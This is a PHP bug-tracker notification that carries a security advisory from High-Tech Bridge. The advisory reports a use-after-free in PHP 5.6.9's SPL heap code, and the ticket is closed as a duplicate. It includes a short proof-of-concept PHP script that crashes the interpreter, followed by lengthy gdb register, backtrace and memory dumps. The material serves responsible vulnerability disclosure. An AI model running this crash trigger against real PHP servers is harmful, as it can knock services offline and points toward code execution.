Sec Bug->Bug #69721 [Opn->Dup]: PHP Security Vulnerability Notification

Edit report at https://bugs.php.net/bug.php?id=69721&edit=1 ID: 69721 Updated by: stas@php.net Reported by: advisory at htbridge dot com Summary: PHP Security Vulnerability Notification -Status: Open +Status: Duplicate -Type: Security +Type: Bug Package: SPL related Operating System: Ubuntu 14.04.1 LTS PHP Version: 5.6.9 Block user comment: N Private report: Y New Comment: Duplicate of bug #69737 Previous Comments: ------------------------------------------------------------------------ [2015-05-28 15:51:57] advisory at htbridge dot com Description: ------------ Hello, High-Tech Bridge Security Research Lab has discovered a security vulnerability in your product - PHP. Detailed description and all available details of the vulnerability is provided below in the email. Please notify us by replying to this email when you release a security update, and provide us if possible with URL of patch/solution so we can add this URL to the advisory. If you need more time to fix the vulnerability - please specify desired Public Disclosure date by replying to this email. For any questions related to this notification email - please visit our General Information & Disclosure Policy page: https://www.htbridge.com/advisory/disclosure_policy.html If you don't find an answer to your question there - please feel free to contact us by email: advisory@htbridge.com =============================================================== Advisory ID: HTB23262 Reference: https://www.htbridge.com/advisory/HTB23262 Product: PHP Vendor: PHP Group Vulnerable Version(s): 5.6.9 and probably prior Tested Version: 5.6.9 Public Disclosure: June 10, 2015 Vulnerability Type: Use After Free [CWE-416] Risk Level: Medium CVSSv2 Base Score: 4.6 (AV:L/AC:L/Au:N/C:P/I:P/A:P) Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) Advisory Details: High-Tech Bridge Security Research Lab discovered use-after-free vulnerability in a popular programming language PHP, which can be exploited to cause crash and possibly execute arbitrary code on the target system. The vulnerability resides within the 'spl_heap_object_free_storage()' PHP function when trying to dereference already freed memory. A local attacker can cause segmentation fault or possibly execute arbitrary code on the target system with privileges of webserver. Below is a simple exploitation code: <?php class SplMinHeap1 extends SplMinHeap { public function compare($a, $b) { return -parent::notexist($a, $b); } } $h = new SplMinHeap1(); $h->insert(1); $h->insert(6); $h->insert(5); $h->insert(2); ?> Running the following PoC we get: gdb-peda$ r ~/Desktop/heap_uaf.php Starting program: /usr/local/bin/php ~/Desktop/heap_uaf.php PHP Fatal error: Call to undefined method SplMinHeap::notexist() in /home/test/Desktop/heap_uaf.php on line 4 Fatal error: Call to undefined method SplMinHeap::notexist() in /home/test/Desktop/heap_uaf.php on line 4 Program received signal SIGSEGV, Segmentation fault. [--------------------------------------------------------------------------registers---------------------------------------------------------------------------] RAX: 0x5a5a5a5a5a5a5a5a (ZZZZZZZZ) RBX: 0x8000000 RCX: 0xcd0458 ("/home/test/De"...) RDX: 0x16f RSI: 0xcd0458 ("/home/test/De"...) RDI: 0x5a5a5a5a5a5a5a5a (ZZZZZZZZ) RBP: 0x7fffffffc570 --> 0x7fffffffc5a0 --> 0x7fffffffc5d0 --> 0x7fffffffc600 --> 0x7fffffffc630 --> 0x7fffffffc750 --> 0x7fffffffc850 --> 0x7fffffffc9b0 --> 0x7fffffffdcf0 --> 0x7fffffffde50 --> 0x0 RSP: 0x7fffffffc570 --> 0x7fffffffc5a0 --> 0x7fffffffc5d0 --> 0x7fffffffc600 --> 0x7fffffffc630 --> 0x7fffffffc750 --> 0x7fffffffc850 --> 0x7fffffffc9b0 --> 0x7fffffffdcf0 --> 0x7fffffffde50 --> 0x0 RIP: 0x82a96f (<zval_delref_p+12>: mov eax,DWORD PTR [rax+0x10]) R8 : 0x269 R9 : 0x0 R10: 0x7fffffff9b20 --> 0x0 R11: 0x7ffff71102f0 --> 0xfffda6c0fffda3ef R12: 0x4209e0 (<_start>: xor ebp,ebp) R13: 0x7fffffffdf30 --> 0x2 R14: 0x0 R15: 0x0 [-----------------------------------------------------------------------------code-----------------------------------------------------------------------------] 0x82a964 <zval_delref_p+1>: mov rbp,rsp 0x82a967 <zval_delref_p+4>: mov QWORD PTR [rbp-0x8],rdi 0x82a96b <zval_delref_p+8>: mov rax,QWORD PTR [rbp-0x8] => 0x82a96f <zval_delref_p+12>: mov eax,DWORD PTR [rax+0x10] 0x82a972 <zval_delref_p+15>: lea edx,[rax-0x1] 0x82a975 <zval_delref_p+18>: mov rax,QWORD PTR [rbp-0x8] 0x82a979 <zval_delref_p+22>: mov DWORD PTR [rax+0x10],edx 0x82a97c <zval_delref_p+25>: mov rax,QWORD PTR [rbp-0x8] [----------------------------------------------------------------------------stack-----------------------------------------------------------------------------] As seen above when trying to dereference the value from $rax (which has been already freed) PHP crashes. Stopped reason: SIGSEGV 0x000000000082a96f in zval_delref_p (pz=0x5a5a5a5a5a5a5a5a) at /home/test/Desktop/php-5.6.9/Zend/zend.h:411 411 return --pz->refcount__gc; Running the backtrace command we can see a couple of freed variables: zval_ptr, pz gdb-peda$ bt #0 0x000000000082a96f in zval_delref_p (pz=0x5a5a5a5a5a5a5a5a) at /home/test/Desktop/php-5.6.9/Zend/zend.h:411 #1 0x000000000082aafb in i_zval_ptr_dtor (zval_ptr=0x5a5a5a5a5a5a5a5a, __zend_filename=0xcd0458 "/home/test/De"..., __zend_lineno=0x16f) at /home/test/Desktop/php-5.6.9/Zend/zend_execute.h:76 #2 0x000000000082bdcb in _zval_ptr_dtor (zval_ptr=0x7ffff7fcba88, __zend_filename=0xcd0458 "/home/test/De"..., __zend_lineno=0x16f) at /home/test/Desktop/php-5.6.9/Zend/zend_execute_API.c:424 #3 0x00000000006e5c1a in spl_heap_object_free_storage (object=0x7ffff7dfdfa0) at /home/test/Desktop/php-5.6.9/ext/spl/spl_heap.c:367 #4 0x000000000087f566 in zend_objects_store_free_object_storage (objects=0x102e640 <executor_globals+928>) at /home/test/Desktop/php-5.6.9/Zend/zend_objects_API.c:97 #5 0x000000000082b89e in shutdown_executor () at /home/test/Desktop/php-5.6.9/Zend/zend_execute_API.c:290 #6 0x0000000000841a4c in zend_deactivate () at /home/test/Desktop/php-5.6.9/Zend/zend.c:960 #7 0x00000000007a7c40 in php_request_shutdown (dummy=0x0) at /home/test/Desktop/php-5.6.9/main/main.c:1882 #8 0x00000000008f6501 in do_cli (argc=0x2, argv=0x1032560) at /home/test/Desktop/php-5.6.9/sapi/cli/php_cli.c:1177 #9 0x00000000008f6d8b in main (argc=0x2, argv=0x1032560) at /home/test/Desktop/php-5.6.9/sapi/cli/php_cli.c:1378 #10 0x00007ffff6faaec5 in __libc_start_main () from /lib/x86_64-linux-gnu/libc.so.6 #11 0x0000000000420a09 in _start () Lastly, from stack #2 we clearly see that the zval_ptr pointer (0x7ffff7fcba88) points to freed memory: gdb-peda$ x/50xw 0x7ffff7fcba88 0x7ffff7fcba88: 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x7ffff7fcba98: 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x7ffff7fcbaa8: 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x7ffff7fcbab8: 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x7ffff7fcbac8: 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x7ffff7fcbad8: 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x7ffff7fcbae8: 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x7ffff7fcbaf8: 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x7ffff7fcbb08: 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x7ffff7fcbb18: 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x7ffff7fcbb28: 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x7ffff7fcbb38: 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x7ffff7fcbb48: 0x5a5a5a5a 0x5a5a5a5a This vulnerability was successfully reproduced Ubuntu 14.04.1 LTS (32 bit and 64 bit) on the latest version of PHP 5.6.9. =============================================================== Best regards, High-Tech Bridge Security Research Lab Test script: --------------- <?php class SplMinHeap1 extends SplMinHeap { public function compare($a, $b) { return -parent::notexist($a, $b); } } $h = new SplMinHeap1(); $h->insert(1); $h->insert(6); $h->insert(5); $h->insert(2); ?> Actual result: -------------- gdb-peda$ r ~/Desktop/heap_uaf.php Starting program: /usr/local/bin/php ~/Desktop/heap_uaf.php PHP Fatal error: Call to undefined method SplMinHeap::notexist() in /home/test/Desktop/heap_uaf.php on line 4 Fatal error: Call to undefined method SplMinHeap::notexist() in /home/test/Desktop/heap_uaf.php on line 4 Program received signal SIGSEGV, Segmentation fault. [----------------------------------------------------------------------- ---registers-------------------------------------------------------------------- -------] RAX: 0x5a5a5a5a5a5a5a5a (ZZZZZZZZ) RBX: 0x8000000 RCX: 0xcd0458 ("/home/test/De"...) RDX: 0x16f RSI: 0xcd0458 ("/home/test/De"...) RDI: 0x5a5a5a5a5a5a5a5a (ZZZZZZZZ) RBP: 0x7fffffffc570 --> 0x7fffffffc5a0 --> 0x7fffffffc5d0 --> 0x7fffffffc600 --> 0x7fffffffc630 --> 0x7fffffffc750 --> 0x7fffffffc850 --> 0x7fffffffc9b0 --> 0x7fffffffdcf0 --> 0x7fffffffde50 --> 0x0 RSP: 0x7fffffffc570 --> 0x7fffffffc5a0 --> 0x7fffffffc5d0 --> 0x7fffffffc600 --> 0x7fffffffc630 --> 0x7fffffffc750 --> 0x7fffffffc850 --> 0x7fffffffc9b0 --> 0x7fffffffdcf0 --> 0x7fffffffde50 --> 0x0 RIP: 0x82a96f (<zval_delref_p+12>: mov eax,DWORD PTR [rax+0x10]) R8 : 0x269 R9 : 0x0 R10: 0x7fffffff9b20 --> 0x0 R11: 0x7ffff71102f0 --> 0xfffda6c0fffda3ef R12: 0x4209e0 (<_start>: xor ebp,ebp) R13: 0x7fffffffdf30 --> 0x2 R14: 0x0 R15: 0x0 [-------------------------------------------------------------------------- ---code------------------------------------------------------------------------- ----] 0x82a964 <zval_delref_p+1>: mov rbp,rsp 0x82a967 <zval_delref_p+4>: mov QWORD PTR [rbp-0x8],rdi 0x82a96b <zval_delref_p+8>: mov rax,QWORD PTR [rbp-0x8] => 0x82a96f <zval_delref_p+12>: mov eax,DWORD PTR [rax+0x10] 0x82a972 <zval_delref_p+15>: lea edx,[rax-0x1] 0x82a975 <zval_delref_p+18>: mov rax,QWORD PTR [rbp-0x8] 0x82a979 <zval_delref_p+22>: mov DWORD PTR [rax+0x10],edx 0x82a97c <zval_delref_p+25>: mov rax,QWORD PTR [rbp-0x8] [-------------------------------------------------------------------- --------stack------------------------------------------------------------------- ----------] ------------------------------------------------------------------------ -- Edit this bug report at https://bugs.php.net/bug.php?id=69721&edit=1